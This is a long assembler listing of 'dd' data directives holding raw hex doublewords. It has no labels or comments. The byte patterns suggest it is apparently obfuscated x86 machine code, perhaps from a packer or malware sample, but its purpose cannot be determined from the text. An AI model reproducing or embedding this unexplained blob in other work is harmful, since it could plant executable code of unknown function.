		dd 0E01170B2h, 10998D13h, 830Fh, 4DBA0000h, 0E94C55F1h
		dd 14h,	439751B6h, 0B3A32609h, 870BE740h, 539E3633h, 0E816AC8h
		dd 80D78B66h, 8060DCF5h, 0BF668FC8h, 6061C64Eh,	8E0F60h
		dd 0F000000h, 8Fh, 30BA6100h, 616E8316h, 8E0FF9h, 8B000000h
		dd 13E8C1h, 0D4880000h,	0DD96673Ch, 62AE2D7Dh, 0B8B7FC2Ah
		dd 84916AF8h, 6E78BAB6h, 0E95954DBh, 12h, 267F0D88h, 35F915C9h
		dd 1384DC65h, 886214D1h, 0F51B5E8h, 289h, 5A6BB000h, 7F0986B9h
		dd 0FD78B5Eh, 198Fh, 14E900h, 0AAA80000h, 0A81148D9h, 0C73BC27Ch
		dd 31E0BF48h, 7013F5C5h, 8C0F7A68h, 3, 8BFEC880h, 10E9F8DFh
		dd 4B000000h, 0A01B9070h, 0B3EB1A15h, 0CEF88C28h, 0B5FFF853h
		dd 0C38B6618h, 0FC7BF0Fh, 8B66CEBFh, 0D9D680FEh, 86A5FEB8h
		dd 0CE8F80Bh, 94000000h, 0E14A8DAAh, 0FB3F67CBh, 0E952E578h
		dd 0Fh,	71046CF9h, 0C7D70689h, 0F2D38964h, 5E426D66h, 13E8h
		dd 921CC500h, 409E25CEh, 0F3D9D7D8h, 5575968Fh,	0CF825986h
		dd 0CE816652h, 5E5FE0BCh, 0EE9h, 90AA1900h, 0CBCCF0F5h
		dd 0C33025A0h, 6618F061h, 0F9B728BEh, 6E8h, 0CB2C0E00h
		dd 0E9F951C0h, 11h, 0EA74CD6h, 6BADF61Ah, 7758F96Eh, 0F56DEBBCh
		dd 62B35E2Bh, 0E870Fh, 6E80000h, 6A000000h, 4515AD50h
		dd 5AFA8B6Fh, 0FD08B66h, 287h, 0FFA8B00h, 178Ch, 12E900h
		dd 7FBF0000h, 0CB1F4BF8h, 318F2495h, 301D95DAh,	6D24036Bh
		dd 3800Fh, 8B660000h, 13E8F9CBh, 0E1000000h, 0D518B8D7h
		dd 0CABD797Ch, 8A9C1CCFh, 0DD22B8B1h, 56601591h, 61616058h
		dd 0DFBF0F5Ah, 8840Fh, 8D0F0000h, 2, 12E96160h,	61000000h
		dd 0CC6B65Ah, 378A720Ch, 93EB3A99h, 0DDD2343Ch,	8E801h
		dd 0DE8A0000h, 7E18BB76h, 0E881C892h, 36E292DFh, 25E8815Bh
		dd 8127460Bh, 0C988A3CFh, 11850F61h, 0E9000000h, 0Ch, 934341A0h
		dd 0D7ADAAB4h, 902C4DD4h, 14E9h, 3F7E6F00h, 300156C8h
		dd 6B78D1AFh, 0BB66A88Bh, 7B23A428h, 0EBBA66AEh, 38F0F43h
		dd 0F000000h, 0F51C1BFh, 1483h,	0EE800h, 43070000h, 0AAA102B9h
		dd 0D4E81108h, 4B693B5Ch, 0C3815B58h, 22731EA3h, 18E0Fh
		dd 66F80000h, 0C129F081h, 0F5C28B66h, 3850Fh, 0B70F0000h
		dd 28C0FD0h, 8B000000h,	0FE8B66C1h, 1850F60h, 0FC000000h
		dd 0D171D181h, 66616107h, 0E99DB2B8h, 12h, 781AB004h, 0A2E360EAh
		dd 0C5BCB975h, 87833D92h, 0C78BE0FBh, 754AB866h, 6659F553h
		dd 6D82F381h, 6E8F58Ah,	1D000000h, 0A940D5C4h, 61F8604Bh
		dd 0DE96058h, 0CF000000h, 0E7F1D87Ah, 0F9234222h, 0ABB545BBh
		dd 0C886E9B9h, 0EC806175h, 4D9AB8C2h, 0C38119E1h, 28FEA130h
		dd 158D0Fh, 10E90000h, 8A000000h, 0A202C086h, 0A9F9D11Eh
		dd 0F3A3E6C2h, 0F977A139h, 8E9h, 0A2CD8300h, 8087022Fh
		dd 2850FD2h, 8B000000h,	13E8C2h, 6F560000h, 2B16EBCFh
		dd 0D1AB17D0h, 9D3384FCh, 0DB48D3DFh, 0BFDC80B6h, 0C820F5Bh
		dd 60000000h, 69CF8166h, 64D6BBDAh, 0B8615F1Eh,	38886B92h
		dd 5E9h, 2FB1EB00h, 0BF66CE5Bh,	8C0F6319h, 5, 0CBCA8166h
		dd 9E901h, 45650000h, 93EE47BFh, 66AEC7B1h, 7978F081h
		dd 0BE9h
		dd 1E419500h, 8B205336h, 83A2994Fh, 19413DBFh, 13E85Ch
		dd 8680000h, 0BEDF923Fh, 0A7B98E06h, 13933055h,	89F774F6h
		dd 81665B5Ch, 0BE85E2F7h, 7ACA3CCBh, 197526BEh,	0A860F33h
		dd 0F000000h, 485h, 1B96600h, 0C28B6612h, 49AB50B9h, 0CEBF0F75h
		dd 0FCA8B66h, 488h, 7AB96600h, 0E8B966DFh, 0D18B6665h
		dd 0FED98166h, 0CAB70F5Bh, 0E4E680FCh, 5AF28166h, 0F8C18BD7h
		dd 0E8FBB70Fh, 12h, 0FFB9F68Eh,	0F1FBA6C3h, 3D0AF920h
		dd 0E49373CBh, 8B66BD47h, 0B70F5FF8h, 108C0FF6h, 0E8000000h
		dd 7, 0BA2A78DAh, 0FD34B4Ch, 8B59C2B7h,	7FB966D8h, 0B2F8F994h
		dd 0E9F960BBh, 0Ch, 92C664AEh, 1F1D8AE0h, 9CA73AADh, 54D68161h
		dd 665BB78Fh, 8166F08Bh, 0FD7CEC0h, 5E9F1B7h, 4C000000h
		dd 0BED4F249h, 5870Fh, 81660000h, 8B2279EBh, 0EAD680D7h
		dd 6660DA8Bh, 6661FA8Bh, 800FC28Bh, 0Ch, 68C0Fh, 840F0000h
		dd 0
		dd 9E960h, 0E3C20000h, 0F5D5C3C4h, 661008A3h, 61CDCBBFh
		dd 81F2B70Fh, 8941CAD9h, 3830F3Ch, 80000000h, 0E9507EF3h
		dd 0Fh,	2358D5CCh, 0AD0A090Fh, 90879237h, 5FFF9A68h, 0F38B66F8h
		dd 7BCE8166h, 665A5381h, 6B47C181h, 0C38B66FCh,	0EE8h
		dd 0D4F6B300h, 36B4CF52h, 0E23D2B99h, 667AB626h, 0E95BFE8Bh
		dd 0Dh,	275D73BDh, 987F9F48h, 7B2D3864h, 0BF66FC40h, 0E781C15Fh
		dd 18289580h, 805BF953h, 9BB90DE9h, 6019BF98h, 6661F5FCh
		dd 0F438BBBh, 18Dh, 0BF51F800h,	0C6F2AA4h, 6E959h, 0A030000h
		dd 0F0ECB36Fh, 0D08A85B5h, 0FC6C080h, 6052F2B7h, 0F5861FCh
		dd 887h, 0BE666000h, 0F48A93C6h, 16D88061h, 0C831B966h
		dd 5A57C88Bh, 10E9h, 285F4A00h,	18DB7AF8h, 4A75DD9Eh, 8985BCF9h
		dd 0C8D0FD2h, 0F000000h, 68Ah, 12CF8100h, 667712FEh, 0EE9F38Bh
		dd 9E000000h, 0A80EE55Ch, 0EFA7E3D3h, 68122787h, 66B8660Ch
		dd 2E8D0F6Bh, 60000000h, 0CE8h,	0C1EF9100h, 8274A3C1h
		dd 30BE011Ch, 14E85A42h, 0F9000000h, 0C5F8A91Fh, 0E431D1C6h
		dd 3E41353Dh, 706DBC21h, 58F4E522h, 0EF56BE61h,	12E91576h
		dd 0E8000000h, 0AAE95620h, 0FF9CDF80h, 0DED8818Ch, 0FC246434h
		dd 0E7CC80E9h, 57D9BF0Fh, 93252BFh, 8D0F592Eh, 0
		dd 6E8h, 6FA8AA00h, 0BBE8CDA1h,	73E51B01h, 64DD8059h, 6BBBD88Bh
		dd 0F466787h, 1B8Eh, 0FE800h, 36DF0000h, 2CA5E262h, 506571A8h
		dd 3180BCDEh, 820FE5h, 5A000000h, 0FE9CA8Bh, 4F000000h
		dd 0CFC41F7Eh, 49D7C8F6h, 2861CB1Bh, 12E9001Ah,	0DC000000h
		dd 0A330454Ch, 96F80455h, 6D1FDDD8h, 4DFF63A1h,	8E8B5h
		dd 9DF40000h, 0EB37FCAAh, 21B8E5DEh, 5B52AF40h,	0B2CE8B66h
		dd 0E800B71Bh, 8, 94B9DD3Ah, 252D904h, 3840Fh, 0DF800000h
		dd 0BEF85A7Ch, 1EB1239Eh, 12E9h, 0E2A9D900h, 23DE819Ah
		dd 622899B5h, 47EBAED4h, 0E985D34Ah, 0Fh, 39266FF7h, 56168C9Eh
		dd 93A20957h, 8AECE685h, 9E860CAh, 0AD000000h, 7C6623A1h
		dd 0D7640560h, 0B35F6160h, 75BF61E5h, 0F2D96C9h, 178Eh
		dd 0EE800h, 0EE230000h,	0A5C65157h, 7FD5ED48h, 0E5A1573Eh
		dd 5FC9BF0Fh, 5870Fh, 81660000h, 608968C8h, 0F61DE8Bh
		dd 18Eh, 6652F900h, 0E85FD38Bh,	13h, 0E8E4661Bh, 0E76D5D31h
		dd 0EFB854AEh, 781EABEEh, 5845C7AEh, 5880Fh, 5EBE0000h
		dd 0E97D0B2Bh, 0Dh, 37A974C0h, 43DFCD6Eh, 206AD111h, 0CE978h
		dd 5C840000h, 5BBD10CBh, 0A984524h, 830F3A96h, 1Dh, 12E8h
		dd 1143DF00h, 78206AD1h, 2604CB50h, 61DAE570h, 665E6169h
		dd 0D0C5D381h, 8F0F5Bh,	0E9000000h, 6, 903FE0Dh, 0E98178E6h
		dd 12C45EB2h, 0CFBF0FFCh, 5860Fh, 81660000h, 0E93D08D3h
		dd 9, 3CDA0E67h, 0C46E3C8Dh, 0EE8166ECh, 0BF662723h, 880F1F51h
		dd 0Eh,	8B0F60h, 0F000000h, 8Ah, 81666100h, 0F1B52C6h
		dd 285h, 0FF98A00h, 8166F8B7h, 60101BD2h, 41F2B866h, 6158F580h
		dd 0AE8h, 0A476D100h, 2088AA21h, 0FAE8CB6h, 283h, 5F5F5000h
		dd 5870F60h, 0B9000000h, 9DB19D6h, 9E960h, 0E8B60000h
		dd 3CEA843h, 0BEA0D7D9h, 252FD9B6h, 0F516161h, 283h, 58616000h
		dd 12E9h, 822B5800h, 7CF68B79h,	31EC410h, 9E3C1DE9h, 0B51324D9h
		dd 0EE990h, 39E50000h, 0D9374A93h, 3F19D413h, 8C0FE0BDh
		dd 0CE8h, 4341A000h, 0ADAAB493h, 2C4DD4D7h, 37EF8090h
		dd 0DE959h, 0A020000h, 0D2AD27E8h, 7E00AC7Ch, 0E93B42CAh
		dd 13h,	60199FD2h, 621142F8h, 0E304F663h, 1A48BC66h, 0BF1E4820h
		dd 1045E1EBh, 0AE9h, 14C45600h,	5FF9BF17h, 53BE9F01h, 0FC5AD68Bh
		dd 0B0C38B66h, 3DD681CEh, 0F08BFEAh, 0E81h, 0C9816000h
		dd 48964190h, 850Fh, 66610000h,	8257EB81h, 5830Fh, 0EBB90000h
		dd 6021EC3Eh, 9427B953h, 0B45A4BC0h, 0DE8619Dh,	64000000h
		dd 407B2D38h, 0A6545CDFh, 0EFC6AB36h, 6E8h, 806500h, 0BBA63082h
		dd 6BA82DB3h, 66605959h, 0E8C934BEh, 13h, 87D3AC9Dh, 722CE70Bh
		dd 4FAD12EAh, 0EDD77C8Bh, 583D931Ah, 0F280F861h, 1890F01h
		dd 0F9000000h, 0FCCE8BF5h, 11888DB8h, 58C98163h, 0E9384126h
		dd 0Bh,	0ECD303E8h, 70CA5410h, 66376319h, 1DACEB81h, 0E9F7B70Fh
		dd 12h,	0A5E459D0h, 31A16BFEh, 34B337D4h, 868B697Bh, 0F566B27h
		dd 0F5AF3BFh, 800FF7BFh, 7, 66595760h, 8161C78Bh, 0BE25CFDBh
		dd 5E965h, 75A30000h, 0FE67330h, 287h, 0B8DE8B00h, 6151CEFFh
		dd 0D04DB866h, 0C5D7EF81h, 816630DFh, 8B0A68D1h, 3820FF0h
		dd 50000000h, 800F5AF5h, 15h, 10E9h, 2AEE6C00h,	8881DCD0h
		dd 856AA4C1h, 0C4C50617h, 0DE9BDh, 59C30000h, 5095EF25h
		dd 7789906Eh, 0F2ECDB7h, 0C8Ch,	7E900h,	98490000h, 5746E0FEh
		dd 58D0F79h, 66000000h,	7515D281h, 0FF08B66h, 820FF8B7h
		dd 12h,	9E8h, 2B8B5C00h, 0DFEB86F7h, 0B70FC8D1h, 10E95BFBh
		dd 0CC000000h, 0E20E3F14h, 9D1F4D19h, 56116E93h, 81F01068h
		dd 89C58AC6h, 0BF0F600Fh, 0FE9C7h, 0C6AC0000h, 5D3937AAh
		dd 714B465h, 0C0B12204h, 516061C7h, 9DC78166h, 81615BC3h
		dd 66EC1EC2h, 66C78049h, 66C18B66h, 0ECD1CE81h,	12E9h
		dd 13C43300h, 0D293C111h, 0E00DFBD2h, 0F622137Fh, 81C66B85h
		dd 99AA4DEEh, 0C7E4BE17h, 66577A72h, 0FC25C981h, 89C2815Ah
		dd 0F17816Ah, 0A84h, 0EA806000h, 0D981661Dh, 0F561C2B5h
		dd 0CDC88166h, 0EE837h,	0E9910000h, 0DED5A203h,	1F4CAE2Fh
		dd 0BFBDCCC2h, 0E95FD18Bh, 10h,	0A79A334h, 3C799DBDh, 7FC5035Ah
		dd 1C07DCAEh, 8B66F08Bh, 9E957CEh, 0B0000000h, 0EE15CC3Ah
		dd 4EF26B31h, 76F58058h, 5E9h, 0E7BA6700h, 0C18B5FA5h
		dd 14E8h, 48972000h, 55C73EEFh,	5D7291D0h, 0F0BBCE90h
		dd 42BD41D2h, 0CE8E4h, 0F1070000h, 0A6531C94h, 2551D40Bh
		dd 0DE8ACE57h, 0CE95B58h, 2000000h, 0D99F92FFh,	35D583ABh
		dd 802C8FE9h, 0E960DDD8h, 5, 5B1A1EBh, 0E3ABB3Bh, 8B614455h
		dd 0CAB70FFAh, 14E9h, 0E041BF00h, 370505A3h, 0FCE9707Ah
		dd 49E01FCh, 8B5578CBh,	0F38B6662h, 56D0BF0Fh, 5AC88B66h
		dd 0D45401BEh, 14B8662Eh, 51C181F7h, 8042836Fh,	0F48A5DDDh
		dd 9E8h, 6BF19400h, 7D04F832h, 0FE8300Eh, 90000000h, 0CBCCF0F5h
		dd 0C33025A0h, 9D18F061h, 0B4BF34E6h, 58579218h, 6E958h
		dd 6E9A0000h, 4A6820FAh, 0A8C0Fh, 5E90000h, 0A6000000h
		dd 69CD28FAh, 0EE8h, 0B33BDE00h, 0D8F65FF8h, 0E11F813Dh
		dd 60F6FF06h, 0F9B70FF8h, 0DE85A61h, 0E3000000h, 0F00F947Ah
		dd 5DD816C6h, 0A0BB9ECEh, 5830Fh, 81660000h, 5E8346E7h
		dd 5A51B457h, 3830Fh, 8B660000h, 4BE60F0h, 0E82AF43Fh
		dd 11h,	453A5B8Bh, 0E17DC95Eh, 12DCABF4h, 4BCE605Fh, 5A5F5725h
		dd 0BF605661h, 692BAE10h, 0DE85F61h, 6E000000h,	0C30D0488h
		dd 69D3AE2Ch, 0E9EF4973h, 11E9h, 0FC91B200h, 5440CAC4h
		dd 13DAFF7Ah, 0B19FBAAFh, 605ADDBBh, 6820Fh, 860F0000h
		dd 0
		dd 2CB8161h, 8B2CDD1Ah,	80EBB4D9h, 0F5041C1h, 28Fh, 59C68B00h
		dd 0FD7BF0Fh, 8B66F7BFh, 10E9D8h, 26360000h, 8E3E682h
		dd 4A396AD0h, 96FB8D95h, 0CE9F309h, 5D000000h, 4987B153h
		dd 414CB8EBh, 0E8607F77h, 0Ah, 95A41A84h, 91402D87h, 12E9D782h
		dd 0FD000000h, 6701972Fh, 7866BC5h, 0A50F6F16h,	0D75EEBB7h
		dd 0EE805A0Fh, 0E680535Fh, 0AE95F6Ah, 0D5000000h, 529C8447h
		dd 6DDC5C67h, 0BE890h, 207C0000h, 0AEC3479Ah, 745B2D98h
		dd 8E95Ah, 64CE0000h, 6AB3EDE6h, 665910DAh, 0E9814BBAh
		dd 7, 1EDB709Ch, 606B2868h, 28A0Fh, 0CA8B0000h,	6661CE8Bh
		dd 890FC78Bh, 2, 0B70FCC8Ah, 28A0FC1h, 8B000000h, 0D08B66D9h
		dd 59FA8B57h, 50C08166h, 8890FFCh, 0F000000h, 287h, 605A5200h
		dd 66F08B60h, 61CB21BFh, 0CE861h, 7A1D0000h, 8B0AB70Eh
		dd 1A7B5E9h, 8B66E217h,	0FF858C7h, 38Bh, 0EED78000h, 298BEA81h
		dd 816040E3h, 2EDB0AE2h, 61C78B74h, 8EB8166h, 0ADBA6673h
		dd 0CBB70F83h, 4890Fh, 0B9660000h, 81663485h, 0FC0599E3h
		dd 5ED98B52h, 930CA81h,	0F98A265Ah, 66D98B66h, 7329F181h
		dd 850F7EB5h, 7, 5E1FB960h, 0F615B5Fh, 1E8Eh, 18840F00h
		dd 0E9000000h, 13h, 2F356EAh, 63E3EFA3h, 0F705C581h, 59BF37B0h
		dd 5725E359h, 2860Fh, 0F18A0000h, 0D88B665Fh, 0BBC081F5h
		dd 66279A7Dh, 61B8D781h, 10E9h,	3DDBA500h, 0DDAF2CD2h
		dd 0D99A4A1Ch, 30CB3C18h, 4800F89h, 66000000h, 0E9293FBBh
		dd 6, 93AC74Dh,	0DEBA4C8Fh, 0F1E5A52h, 587h, 0DB816600h
		dd 0DE975A6h, 0B4000000h, 72E0AA49h, 0D6748776h, 0BB9398E4h
		dd 7E8h, 0E72C2A00h, 0B8A8BDB7h, 0D40CE981h, 605F6C4Fh
		dd 10E956h, 212E0000h, 6417038Ch, 1720AF19h, 0D6C09A3Bh
		dd 0F5580598h, 9E861h, 0E86D0000h, 0AAE95620h, 669CDF80h
		dd 5A18CDB8h, 0E0B18ABEh, 0D78B6603h, 12E9F5h, 8A460000h
		dd 0DE59EA83h, 0A693154Bh, 0F0D982CBh, 48AB90A0h, 38D0Fh
		dd 0E7800000h, 810F60D8h, 15h, 0FE8h, 4C790D00h, 0B3AD0ED0h
		dd 682132AAh, 3E780E35h, 4BB9615Eh, 663F4248h, 0B866FB8Bh
		dd 0B96669EEh, 6E97DE0h, 0CE000000h, 0E4DBE6EAh, 0EE90Fh
		dd 34130000h, 0E063341Bh, 76AFFF75h, 3406D4DAh,	2830Fh
		dd 0D78B0000h, 0A890C2BBh, 0AE875h, 35B00000h, 0CA5FDCE6h
		dd 0E7CE8469h, 36DEBA58h, 5E95C18h, 74000000h, 0A15D9DB9h
		dd 66F38B66h, 6608A1B9h, 665218BAh, 800FCE8Bh, 3, 0FFFBF0Fh
		dd 188Fh, 13E900h, 5B9E0000h, 70D7694Fh, 67534BCCh, 18CA6C37h
		dd 960C7097h, 30BF6624h, 0EA8160B2h, 2D372BC1h,	5CDCD781h
		dd 0BE6129F8h, 252852CDh, 10E9h, 75A54500h, 2CCB3822h
		dd 0CF030496h, 0FEA8D33Fh, 5E86070h, 59000000h,	0C53C2A4h
		dd 87B93EB9h, 66615E07h, 66C2D4BAh, 1A84DA81h, 6AB6C0B0h
		dd 7E9h, 41340100h, 0D830148Fh,	38B0Fh,	8B660000h, 68D0FFEh
		dd 60000000h, 61606160h, 0CA6BF61h, 0F0800E44h,	54A9B8B5h
		dd 9E80D80h, 0AA000000h, 4CC72FEDh, 0BE3ACAC6h,	9E9h, 0BD00F00h
		dd 0B68E4D4Eh, 815B8112h, 4B8561C0h, 0DFE98137h, 661B880Ah
		dd 0F7A90BFh, 1F8Fh, 0B9666000h, 14E91853h, 9000000h, 9237AD0Ah
		dd 9A689087h, 34913AFFh, 0E7A637D1h, 61866181h,	9840Fh
		dd 66600000h, 2B83F181h, 0BB616160h, 416AB808h,	66D38B66h
		dd 0D487D081h, 0EE9h, 22369F00h, 6A323DFBh, 27645503h
		dd 0F1BBF69h, 9E9D1B7h,	16000000h, 0C07ED6FEh, 1DCD14CAh
		dd 0DA8B66FCh, 8B0F3FB2h, 3, 0E94FDC80h, 12h, 40459CCDh
		dd 0A043A039h, 0C67D0C6Dh, 0FD65BCD9h, 816633B7h, 0E9CBDFF6h
		dd 11h,	0C53EFD42h, 13710ECCh, 93A62B0Ch, 67D609h, 0BE9A3h
		dd 0E7510000h, 8E40C4C2h, 0A06A5193h, 0C4BB668Ah, 56E9B4C8h
		dd 0EE8h, 0D880CD00h, 408BE317h, 0DDAA044Fh, 5EA40EA9h
		dd 1EB815Eh, 0F9067DBDh, 12E9h,	6AA77800h, 93998E26h, 995C92AAh
		dd 0EDF2B8E1h, 57E64707h, 0DF1913BFh, 80F9583Eh, 0CE99EC7h
		dd 0C0000000h, 568A8BBDh, 0C9474053h, 0F4A9B64h, 488h
		dd 6FB86600h, 69D580DEh, 13E9h,	0D7CC9C00h, 0ECEC6F7Dh
		dd 0AF7D97FBh, 80E25FC4h, 94BDCBE7h, 9EF08166h,	0CE91Ch
		dd 6A1D0000h, 0B3DE9184h, 555A46ADh, 7E923F5h, 0C6000000h
		dd 2B52F8D0h, 0D780A6FCh, 6CBF662Eh, 0DE8EAh, 0E8820000h
		dd 6DE4616Fh, 0D60F4C8h, 0F5A0EE7h, 805FC1B7h, 80570CE8h
		dd 0B85E92D3h, 5A2E6FDCh, 12B7F98Bh, 8166DEB7h,	0B60CF4D7h
		dd 0BE99Ch, 339E0000h, 28DD631Fh, 0EC737686h, 68F0FB0h
		dd 81000000h, 0F7AC4EC8h, 9E94Eh, 27120000h, 8E289577h
		dd 8186A82Bh, 66812DEFh, 66FA8B77h, 0A740CF81h,	5850Fh
		dd 0DEBA0000h, 665F2138h, 6656F98Bh, 605BD38Bh,	7311BB66h
		dd 61D9B70Fh, 0BE8h, 37DFE100h,	0DEF79354h, 6D50AA59h
		dd 9E67BE66h, 5BFC525Bh, 0D3B70F50h, 17800F58h,	0E9000000h
		dd 12h,	57922707h, 32B72665h, 0E920C1ECh, 4DE0CB8Ch, 0E8F50900h
		dd 10h,	0AD11679Dh, 494ECF8Ch, 0CA84F5BCh, 1DAFEC00h, 81DDBF66h
		dd 820F605Fh, 6, 830Fh,	80610000h, 8AF9B5D6h, 98D0FCBh
		dd 0F000000h, 385h, 0B7D28000h,	1D54BE66h, 12E952h, 7D020000h
		dd 14D5602Ch, 30B0BA86h, 0BE875064h, 0B240F87Eh, 0BE85Fh
		dd 0D1BD0000h, 0A51C861Eh, 0F72625A6h, 89E3801Bh, 8B66505Fh
		dd 0FA8B5FCAh, 0EE857h,	969A0000h, 0FD15C4Ah, 0E297BAF7h
		dd 0ADA083C8h, 1BEF8166h, 0E85E5A40h, 6, 79B617F5h, 9E995A7h
		dd 1F000000h, 1369B3DAh, 58361564h, 9E858h, 0CF030000h
		dd 0FEA8D33Fh, 0B1C32D70h, 870F5F64h, 4, 954BBF66h, 13E9h
		dd 98624400h, 0DA1DA7F1h, 9CD61C29h, 0E08D3844h, 4E8720FFh
		dd 7ACBD381h, 81662EA4h, 60F3F8C3h, 8A0Fh, 7E90000h, 0C0000000h
		dd 9AAB8A7Eh, 66613D50h, 69D2E281h, 0D810Fh, 8E90000h
		dd 0BC000000h, 0F3EF73C7h, 66BEBD45h, 8E9D08Bh,	0F7000000h
		dd 0ABE3F77Eh, 0F9D34BDh, 88Dh,	2840F00h, 8A000000h, 0FE8B66CFh
		dd 0CE9DF8Bh, 76000000h, 0A3E9F1E2h, 0A3DCEADCh, 660DD061h
		dd 0F28BD98Bh, 0F820Fh,	0AE90000h, 0B6000000h, 2072B2DFh
		dd 43861F70h, 0C9BF0FAEh, 66D9BF0Fh, 0F94DD381h, 59E28166h
		dd 0EE9CCh, 0AA6B0000h,	0A0CF9E3Ah, 85AD4039h, 0DA135710h
		dd 8BF7B70Fh, 0FF8FCC3h, 870FD2B7h, 4, 5119BB66h, 13E9DA8Bh
		dd 8E000000h, 80D0BEA1h, 0A4EBB585h, 2CE98044h,	1F2E012Ch
		dd 0E95646B4h, 0Eh, 708B33CAh, 1DFFB350h, 7AC146E2h, 605A80DAh
		dd 10E9EFB2h, 3C000000h, 0E4F1F7CCh, 0A2BC60FDh, 5E5DA888h
		dd 61826611h, 3EEA81FCh, 6625A2A3h, 8B66F18Bh, 66F960F7h
		dd 8E1BC881h, 0E1F5BF61h, 66606D17h, 6661FBBBh,	61A1A9BBh
		dd 11E9DBB1h, 7000000h,	0A8844ECh, 0EE31FBE6h, 447BA155h
		dd 67C34E69h, 60BBB560h, 5950ABB2h, 0B9666161h,	10E9C308h
		dd 5D000000h, 250FEFBFh, 0E7B35885h, 0FC3E0204h
		dd 531070CBh, 7E95Fh, 62AB0000h, 9896B8C5h, 0FE8C5h, 66AC0000h
		dd 1F22F2B7h, 6DA5ED58h, 0ADC017FFh, 0E7815905h, 42F610BBh
		dd 8830Fh, 8A0F0000h, 2, 8BF5FE8Ah, 0DE9D3h, 4B520000h
		dd 0E7E5CA9h, 709BBAF3h, 66694CC0h, 814339BAh, 0DBF1E5EFh
		dd 0EE976h, 12FB0000h, 7C46A794h, 51E21640h, 746F352Bh
		dd 447952BEh, 0E9F8606Fh, 12h, 906C25C4h, 5E077E87h, 9F8E949Bh
		dd 0F2C7D525h, 0F617492h, 188Dh, 12820F00h, 0E8000000h
		dd 0Ch,	0F648086Bh, 0F5AE3683h,	0F2DC0B2Eh, 12BB6658h
		dd 7E910h, 0BC670000h, 0E5D9117Bh, 0CE839h, 85FE0000h
		dd 0A0D618A3h, 30D11746h, 0CB808CDFh, 51605939h, 0FC5A5B50h
		dd 86BB6661h, 8A0FD2h, 66000000h, 0BE35F381h, 8E860h, 17670000h
		dd 0B63133F8h, 840F18E3h, 0
		dd 6E858h, 0B5680000h, 6B7BCE50h, 8A0Fh, 61580000h, 0EE8h
		dd 59E2CE00h, 0E6A1A6h,	725CFDE8h, 50F8C4BAh, 595A5E57h
		dd 6E9h, 0E594E800h, 66C3E836h,	0C281C68Bh, 341C088Ch
		dd 3810F53h, 66000000h,	8159C78Bh, 644803DAh, 13E848h
		dd 3B1D0000h, 8C03D348h, 0A4CA7045h, 75E7CAC5h,	0D23E006Ch
		dd 15B560EFh, 6149E380h, 8E95Eh, 0B7B10000h, 3A7EF057h
		dd 0C181300Ah, 14241701h, 4AD38166h, 0EE97Eh, 49150000h
		dd 4D535969h, 0ED9637C1h, 623DAB63h, 2810Fh, 0F38B0000h
		dd 3830Fh, 0E5800000h, 14E95090h, 76000000h, 444F80BAh
		dd 0B50B4DCDh, 1612BD91h, 866674Ch, 5AFE3CFDh, 8166E18Ah
		dd 662442D3h, 821CE981h, 28E0Fh, 0C38B0000h, 8E9h, 7F84B00h
		dd 642B7AE8h, 0B866FCADh, 8B66F209h, 14E9D1h, 0D0E70000h
		dd 0A130B393h, 973798C8h, 1D2CE819h, 0E3CAD01h,	80605561h
		dd 61F935EAh, 5E9h, 95ACDF00h, 0D68BE29Fh, 0EB5EBE66h
		dd 0E981FCF8h, 7187045Dh, 83977BBFh, 0D9B70F09h, 0E985BF66h
		dd 57E18166h, 9FB1BA0Bh, 0BB666635h, 0E960820Eh, 10h, 0CDE64412h
		dd 58D70167h, 3B7BFE35h, 2C28537Eh, 18880Fh, 13E90000h
		dd 0E6000000h, 814B0A77h, 0A980041Dh, 2318468Bh, 7F63214Fh
		dd 8061D3BCh, 0DD8A0CE0h, 777DBB53h, 665F3D18h,	0A1B7D88Bh
		dd 8A0F60h, 56000000h, 87904CBAh, 0F615874h, 8F0FF8BFh
		dd 16h,	11E9h, 0AE0B7000h, 97202FF0h, 0C73EEF48h, 7291D055h
		dd 810F905Dh, 6, 840Fh,	0BF0F0000h, 7880FC8h, 57000000h
		dd 38A3BB9h, 2DBE5B7Eh,	0F505AFB0h, 771CB966h, 0E8D38B66h
		dd 0Bh,	8EFD5262h, 7841E7E6h, 6636ED7Bh, 6D93C681h, 0FFB70F5Bh
		dd 0DB60BE66h, 4202A5B8h, 0EA816000h, 1FE16D45h, 8B66F561h
		dd 0BF0F52D9h, 0D98A59DFh, 0AE9h, 0CA438200h, 3FCA0D95h
		dd 81762924h, 0DD5B87C0h, 13E95Dh, 49CC0000h, 910A2572h
		dd 0C88B4B24h, 0E2C35B52h, 1407A4BCh, 10E908h, 0D2D70000h
		dd 71A765CEh, 0C809DD4Ah, 1E7039F0h, 81661917h,	0F89776C9h
		dd 8166F88Bh, 52F8E9C9h, 0B562C781h, 8A580653h,	68C0FD1h
		dd 81000000h, 283AA0F2h, 5B53603Eh, 0E8F88B61h,	12h, 95988612h
		dd 35DDDED3h, 0A28D7261h, 0C1A11B6Fh, 58F5EB83h, 4F7284BAh
		dd 0D6816647h, 12E9FF08h, 0FB000000h, 7C4AB636h, 2F93EC64h
		dd 3764654Dh, 13836943h, 0AE9A6h, 7F2F0000h, 982142E8h
		dd 5FFEB66h, 0F6ED8060h, 14870F61h, 0F000000h, 0E8Ch, 9E900h
		dd 7A9B0000h, 9148591Ch, 5789465Ah, 7C31B866h, 68D4BA5Bh
		dd 8D0F38C4h, 0
		dd 0FE9h, 69840200h, 7A8D5A8Eh,	4228F91Eh, 5D553E1h, 0AE9h
		dd 370BB700h, 0CDF5F7B0h, 0F0757F4h, 28Eh, 0F5C38B00h
		dd 66F18B66h, 0BB66F28Bh, 0BE503363h, 3C3DD78Eh, 0CB816659h
		dd 0F28B3FAAh, 38D0Fh, 8B660000h, 0B05A52FBh, 3FB2B920h
		dd 8F0F04A6h, 1, 840F60F8h, 5, 0D611EABEh, 0E3816062h
		dd 72B18372h, 8A0Fh, 61610000h,	6E9h, 0D2BFEA00h, 608FE626h
		dd 61D88BFCh, 4800Fh, 0BF660000h, 0B0FC6DEBh, 0FD9B209h
		dd 487h, 0DE8B5600h, 0FEF8A59h,	8166DABFh, 66A439C6h, 0D4D8F381h
		dd 0DE27B9BFh, 14850F2Eh, 0E9000000h, 0Fh, 0A0DF3467h
		dd 94390CE9h, 0DC938B84h, 6056B77Ah, 0BE9h, 42AA6300h
		dd 289700DBh, 3453160h,	0F61DBB2h, 0F81h, 0AE900h, 6D0B0000h
		dd 1CC88515h, 24CD2547h, 8E860h, 368F0000h, 4FA557D2h
		dd 575BF213h, 830Fh, 61590000h,	0EE9C18Bh, 0EB000000h
		dd 0E1AA0098h, 0E3E5ABABh, 991E9A51h, 0DE8B66C3h, 564EEA81h
